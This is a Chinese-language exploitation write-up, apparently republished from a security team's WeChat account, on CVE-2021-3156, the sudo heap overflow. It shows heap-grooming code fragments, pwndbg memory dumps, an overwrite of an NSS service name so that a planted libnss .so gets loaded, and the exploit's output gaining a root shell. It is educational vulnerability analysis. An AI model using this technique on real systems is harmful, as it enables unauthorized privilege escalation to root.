高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

因为tachebins是LIFO(last in first out),所以等下service_user(也就是 p *service_table -> entry -> service)malloc的时候就会分配到这四个chunk。下面你能看到第一个chunk分配到之前的LC_IDENTIFICATION的chunk。

pwndbg> p *service_table -> entry -> service$3 = {next = 0x55b761c60190,actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},library = 0x55b761c63560,known = 0x55b761c63520,name = 0x55b761c5fae0 "files"}pwndbg> p service_table -> entry -> service$4 = (service_user *) 0x55b761c5fab0

分配完以后就会变成如下所示

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

当然既然是堆风水肯定不止一种解法,我个人觉得第三个或者第四个比较好覆盖一点,但是我选择第四个,还记得我们前面 LC_MONETARY的大小后面加了 b4 个d 其实就是为了在在函数_nl_make_l10nflist中不断递归中这个大小能产生 f0和e0的块。接着

char argv2[0xf0] = {[0 ... 0xdf] = 'E'};strcat(argv2, "\");

是为了能刚好取回bins中f0的chunk 然后去覆盖 *service_table -> entry -> next -> service -> next,由上图可以看到f0的chunk在 *service_table -> entry -> next -> service -> next前面,所以接着我们只需要计算,看下padding是多少然后覆盖到 chunk(*service_table -> entry -> next -> service -> next)的起始点,大小就是我们代码里 overflow的部分(0x1c0)

char overflow[0x1C0] = {[0 ... 0x1BE] = 'F'};strcat(overflow, "\");

然后最关键的一部分

"\", "\", "\", "\", "\", "\", "\","actions\","\", "\", "\", "\", "\", "\", "\", "\","\", "\", "\", "\", "\", "\", "\", "\",so_name,

注意library要用全0x00覆盖,利用的是envp 之间0x00分隔开和斜杠跳过的漏洞特性写入0x00。然后0x55b761c62918 到 0x55b761c62930之前是action位。0x55b761c62940就是我们要覆盖的name。我覆盖的name是 char so_name[] = “x/shell\”; 为此你需要在exp目录下新建一个目录 libnss_x,把对应的so文件放进去。

pwndbg> p service_table -> entry -> next -> service -> next$14 = (struct service_user *) 0x55b761c62910pwndbg> p *service_table -> entry -> next -> service -> next$15 = {next = 0x4646464646464646,actions = {(NSS_ACTION_MERGE | unknown: 1179010628), (NSS_ACTION_MERGE | unknown: 1179010628), NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (NSS_ACTION_RETURN | unknown: 1769235296)},library = 0x0,known = 0x0,name = 0x55b761c62940 "x/shell"}pwndbg> x/40xg 0x55b761c629000x55b761c62900: 0x4646464646464646 0x46464646464646460x55b761c62910: 0x4646464646464646 0x46464646464646460x55b761c62920: 0x0000000000000000 0x00736e6f697463610x55b761c62930: 0x0000000000000000 0x00000000000000000x55b761c62940: 0x006c6c6568732f78 0x00000000206d65670x55b761c62950: 0x000000006f647573 0x00000000000000000x55b761c62960: 0x0000000000000000 0x00000000000000210x55b761c62970: 0x636f6c2f6374652f 0x0000656d69746c610x55b761c62980: 0x0000000000000000 0x00000000000000210x55b761c62990: 0x000055b761c629b0 0x00000000000000030x55b761c629a0: 0x000055b700544d4c 0x00000000000000210x55b761c629b0: 0x000055b761c629d0 0x00000000000000030x55b761c629c0: 0x0000000000544443 0x00000000000000210x55b761c629d0: 0x0000000000000000 0x00000000000000030x55b761c629e0: 0x0000000000545343 0x00000000000000210x55b761c629f0: 0x000055b761c62fb0 0x000055b761c635600x55b761c62a00: 0x0000000000000000 0x00000000000001110x55b761c62a10: 0x000055b761c636f0 0x000055b761c637a00x55b761c62a20: 0x000055b761c637c0 0x000055b761c637e00x55b761c62a30: 0x000055b761c63800 0x000055b761c63820pwndbg>

最后exp运行结果

~/Desktop/CVE-2021-3156/EnvTest$ ./sudo_exp2LC_MONETARY=mg_GEM.UTF-8@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLC_TELEPHONE=C.UTF-8@CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCLC_MEASUREMENT=C.UTF-8@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBLC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA# iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(parallels)

五、结语

最后通过对CVE-2021-3156 sudo堆溢出漏洞利用的详细剖析,我们看到了内存布局操控、区域设置滥用、堆风水技术是如何相互配合,最终实现漏洞利用的。本文不仅展示了攻击流程,还强调了漏洞利用中每一步的技术细节,希望帮助大家深入理解此类漏洞的原理和防护措施。对于系统管理员和安全研究者而言,了解这些细节对于防范和修补同类漏洞至关重要。


关注公众号,获取安全攻防技术一手资讯!


原文始发于微信公众号(顺丰安全应急响应中心):高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

版权声明:admin 发表于 2024年10月8日 上午7:50。
转载请注明:高端的二进制0day挖掘,往往只需要从1day的分析开始【下】 | CTF导航

相关文章